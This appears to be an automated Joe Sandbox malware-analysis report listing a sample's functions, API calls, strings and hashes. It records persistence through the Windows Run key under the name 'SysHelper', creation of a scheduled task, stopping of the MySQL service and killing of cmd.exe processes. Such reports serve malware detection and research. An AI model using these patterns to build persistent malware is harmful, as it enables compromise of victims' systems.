Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 577584c7bca0d54af3040cbce754408bf838468c404ebe489c4c2a5b776e4124
Instruction ID: 54740e867375e40af9988cde429332ff4449ab215c3d561ff5208d7626414491
Opcode Fuzzy Hash: 577584c7bca0d54af3040cbce754408bf838468c404ebe489c4c2a5b776e4124
Instruction Fuzzy Hash: 5021B071644300ABF770AB60CD47FEF77A8AF98700F444819F6D9861C1EAB994449762

Function 00F72360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00F72389
_memset.LIBCMT ref: 00F723B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 00F723DE
RegCloseKey.ADVAPI32(?), ref: 00F723E7
GetCommandLineW.KERNEL32 ref: 00F723F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00F723FF
lstrcpyW.KERNEL32(?,00000000), ref: 00F7240E
lstrcmpW.KERNEL32(?,?), ref: 00F72422

Strings

SysHelper, xrefs: 00F723D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00F7237F

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: b1d99b0e0f65234e926f53f810d6c751b9e37c44cdbb1be6798209421cd14572
Instruction ID: 37419e2e8efcaa8216a8c1345d57c0ffbeb6039bbc87a1e018c8d3ca10ac3466
Opcode Fuzzy Hash: b1d99b0e0f65234e926f53f810d6c751b9e37c44cdbb1be6798209421cd14572
Instruction Fuzzy Hash: 6411597194020DABEB20EFA0DC49FEE77BCBF05704F1045A5F589E2140DBB99A889B90

Function 00F78000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F780B9
_memmove.LIBCMT ref: 00F78124
_memmove.LIBCMT ref: 00F781A8
_memmove.LIBCMT ref: 00F78221
_memmove.LIBCMT ref: 00F78288
_memmove.LIBCMT ref: 00F782C6
_memmove.LIBCMT ref: 00F78305

Strings

string too long, xrefs: 00F78338
invalid string position, xrefs: 00F78342

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: d5ff14a92b5a945acd90ef92b574192fe5d08a7eee3b3ad6635afd3fad026a91
Instruction ID: d8bb0b44a9525d7ed53f341681c628ebe03d4fc19932d3ecbd022f87923418ed
Opcode Fuzzy Hash: d5ff14a92b5a945acd90ef92b574192fe5d08a7eee3b3ad6635afd3fad026a91
Instruction Fuzzy Hash: 87C1AF71740205DFDB18CF0CC8899AE77A6EF44780B64892EE859CB741CB70ED46EB96

Function 00F6DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00F6DAEB
CoCreateInstance.OLE32(01034F6C,00000000,00000001,01034F3C,?,?,0102A948,000000FF), ref: 00F6DB0B
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,0102A948,000000FF), ref: 00F6DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,0102A948,000000FF), ref: 00F6DBE3
_memset.LIBCMT ref: 00F6DC38
CoUninitialize.OLE32 ref: 00F6DC92

Strings

Time Trigger Task, xrefs: 00F6DB24, 00F6DB34, 00F6DB52
--Task, xrefs: 00F6DBB5
Comment, xrefs: 00F6DBFF

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: b7b319bb22011805badb956e7fd6d77aae00823c85069a08f297e63829756af9
Instruction ID: cc9c994ecec0b946432f2069753dbd67a2a600a7f9f06e01fdc6c7778ffc57c8
Opcode Fuzzy Hash: b7b319bb22011805badb956e7fd6d77aae00823c85069a08f297e63829756af9
Instruction Fuzzy Hash: 5951E270A40209AFDB10DF94C889FAE7BB9FF88B05F208558F505EF250DBB5A945CB90

Function 00F71A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00F71A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00F71A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00F71A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00F71A5B
Sleep.KERNEL32(?), ref: 00F71A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00F71A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00F71A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00F71AA1

Strings

MYSQL, xrefs: 00F71A2C

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: aef7a799989caa406a06367184043d550721278470d26babdd3243785b6367f8
Instruction ID: 0426a195db863d7c635126b7367ed956a4f5bd32d760ad56aeb9cd27025ef25a
Opcode Fuzzy Hash: aef7a799989caa406a06367184043d550721278470d26babdd3243785b6367f8
Instruction Fuzzy Hash: ED11A331E012066BFB305EA89D88FAF77BCEF46761F140122FA04E2144D72DD949CBA5

Function 00FAF26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00FAF27F

Part of subcall function 00F90CFC: std::exception::_Copy_str.LIBCMT ref: 00F90D15

__CxxThrowException@8.LIBCMT ref: 00FAF294

Part of subcall function 00F90ECA: RaiseException.KERNEL32(?,?,00FAF26B,?,?,00000000,?,?,?,?,00FAF26B,?,010681FC,?), ref: 00F90F1F

std::exception::exception.LIBCMT ref: 00FAF2AD
__CxxThrowException@8.LIBCMT ref: 00FAF2C2
std::regex_error::regex_error.LIBCPMT ref: 00FAF2D4

Part of subcall function 00FAEF74: std::exception::exception.LIBCMT ref: 00FAEF8E

__CxxThrowException@8.LIBCMT ref: 00FAF2E2
std::exception::exception.LIBCMT ref: 00FAF2FB
__CxxThrowException@8.LIBCMT ref: 00FAF310

Strings

bad function call, xrefs: 00FAF316

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 35240cb91ae7187f6bede9bbf8cc74b009072a77486d2cc2036b1b420091b292
Instruction ID: 8337dabf2b7e371fd99e98cf4163add81105ccc65bcd7ce8d3033801c6a3d382
Opcode Fuzzy Hash: 35240cb91ae7187f6bede9bbf8cc74b009072a77486d2cc2036b1b420091b292
Instruction Fuzzy Hash: 9111DA74D0020DBBCF04FFA5C986CDEBBBCEA04344F408966BD6497641EA79E3498B91

Function 00F83576 Relevance: 15.3, APIs: 10, Instructions: 258COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F835B1

Part of subcall function 00F85208: __getptd_noexit.LIBCMT ref: 00F85208

__gmtime64_s.LIBCMT ref: 00F8364A
__gmtime64_s.LIBCMT ref: 00F83680
__gmtime64_s.LIBCMT ref: 00F8369D
__allrem.LIBCMT ref: 00F836F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F8370F
__allrem.LIBCMT ref: 00F83726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F83744
__allrem.LIBCMT ref: 00F8375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F83779

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 37df39d3579e95a8e887addc41253b412796beb6f43eb533d1880f36d50fb082
Instruction ID: f556009a43f3c2bb10e4a0c141da4da73d39faeb3b64db08d709aabbf9a01965
Opcode Fuzzy Hash: 37df39d3579e95a8e887addc41253b412796beb6f43eb533d1880f36d50fb082
Instruction Fuzzy Hash: 5271B6B2E00717ABD714BE79CC42BDAB3A4AF40B34F144239F914D6691E774DA40A790

Function 00FC5480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 00FC54C8
GetLastError.KERNEL32(?,?,00000000), ref: 00FC54D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 00FC54F7
GetLastError.KERNEL32(?,?,00000000), ref: 00FC5503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00FC5531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 00FC555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 00FC55F5

Strings

.\crypto\bio\bss_file.c, xrefs: 00FC55F0, 00FC562F, 00FC5640
',', xrefs: 00FC560B
fopen(', xrefs: 00FC5611

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: b7f979e9df02ba09f5a89f4bda7ed4ea83c334b00f99836b59de9e543b1ee98d
Instruction ID: bc05caeebcf7bedcf3b03f260a7dc45dd3423a7447337204b54180cafcd96b7a
Opcode Fuzzy Hash: b7f979e9df02ba09f5a89f4bda7ed4ea83c334b00f99836b59de9e543b1ee98d
Instruction Fuzzy Hash: B7516B75F80605BBEB306AA0CD43FBF7669EF05F10F140029FE41AE181DA696905A7A2

Function 00F72440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00F7244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00F72469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00F724A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 00F724B0
CloseHandle.KERNEL32(00000000), ref: 00F724B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 00F724C1
CloseHandle.KERNEL32(00000000), ref: 00F724CD

Strings

cmd.exe, xrefs: 00F72486

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: e42fb9a783d316fbd6585759c6193252d4f06b19b1d7b01469926289465f60a2
Instruction ID: ec20e8764350793f4ddcf557c99daa23e3929b50c1b85ce9ea0f80e098952031
Opcode Fuzzy Hash: e42fb9a783d316fbd6585759c6193252d4f06b19b1d7b01469926289465f60a2
Instruction Fuzzy Hash: B601B5319012157BE730AEA4AD8DFAF776CDF09715F204091FE0CD2145E77989449BB2

Function 00F6F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 00F6F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00F6F353

Strings

\, xrefs: 00F6F548
SHGetFolderPathW, xrefs: 00F6F34D
Shell32.dll, xrefs: 00F6F32C

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 24cd751d07154828847924256dc219a7f17178c934c0b80d13a3c2770b0c0af0
Instruction ID: a1d908cefc26f6f3384c789fe432ba1777c65dae6502ef8a11aee4171dc46eee
Opcode Fuzzy Hash: 24cd751d07154828847924256dc219a7f17178c934c0b80d13a3c2770b0c0af0
Instruction Fuzzy Hash: 95C16D71D01209EBDF10DFA4ED59BDEBBB5BF14308F144029E405BB250EB7AAA18DB91

Function 00FC3350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00FC3382
_strncmp.LIBCMT ref: 00FC33C2

Strings

ENCRYPTED, xrefs: 00FC33BC
.\crypto\pem\pem_lib.c, xrefs: 00FC3393, 00FC33D3, 00FC3407, 00FC3439, 00FC3491
DEK-Info: , xrefs: 00FC3422
Proc-Type: , xrefs: 00FC337C

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: f240d8da296b5009d258844494e66868a1adc5325b059df6ed191bcd355d8355
Instruction ID: d0e4f97afa2969d84a92466182c2e4f339acb41302e17bde3240667bcef47229
Opcode Fuzzy Hash: f240d8da296b5009d258844494e66868a1adc5325b059df6ed191bcd355d8355
Instruction Fuzzy Hash: 7D418DB5FC83822AF731952ABD03F8673815B50BA0F48883DF6C8E91C3F7958587A191

Function 00F85141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00F85141

Part of subcall function 00F87D6C: EncodePointer.KERNEL32(00000000,?,00F85146,00F83FFE,01067990,00000014), ref: 00F87D6F
Part of subcall function 00F87D6C: __initp_misc_winsig.LIBCMT ref: 00F87D8A
Part of subcall function 00F87D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00F926B3
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00F926C7
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00F926DA
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00F926ED
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00F92700
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00F92713
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00F92726
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00F92739
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00F9274C
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00F9275F
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00F92772
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00F92785
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00F92798
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00F927AB
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00F927BE
Part of subcall function 00F87D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00F927D1

__mtinitlocks.LIBCMT ref: 00F85146
__mtterm.LIBCMT ref: 00F8514F

Part of subcall function 00F851B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00F85154,00F83FFE,01067990,00000014), ref: 00F88B62
Part of subcall function 00F851B7: _free.LIBCMT ref: 00F88B69
Part of subcall function 00F851B7: DeleteCriticalSection.KERNEL32(0106AC00,?,?,00F85154,00F83FFE,01067990,00000014), ref: 00F88B8B

__calloc_crt.LIBCMT ref: 00F85174
__initptd.LIBCMT ref: 00F85196
GetCurrentThreadId.KERNEL32 ref: 00F8519D

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: f55fa066e918100a27bbd295be1f1b126dbfefff793d4bbff46245b20bd23589
Instruction ID: fea74cb0c602d86641f6f04551db6ddc28a4c2ba28b533120da6562a61f8edeb
Opcode Fuzzy Hash: f55fa066e918100a27bbd295be1f1b126dbfefff793d4bbff46245b20bd23589
Instruction Fuzzy Hash: D4F0F032A49F112FF6357AB87C0BBCE36809F01B30B21061AF064D51D9EF2994027391

Function 00F853AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00F8594A

Part of subcall function 00F88AF7: __mtinitlocknum.LIBCMT ref: 00F88B09
Part of subcall function 00F88AF7: __amsg_exit.LIBCMT ref: 00F88B15
Part of subcall function 00F88AF7: EnterCriticalSection.KERNEL32(?,?,00F850D7,0000000D), ref: 00F88B22

_free.LIBCMT ref: 00F85970

Part of subcall function 00F80BED: HeapFree.KERNEL32(00000000,00000000,?,00F8507F,00000000,00F8500D,?,00F83F7C,?,00F7E6CC,00000000), ref: 00F80C01
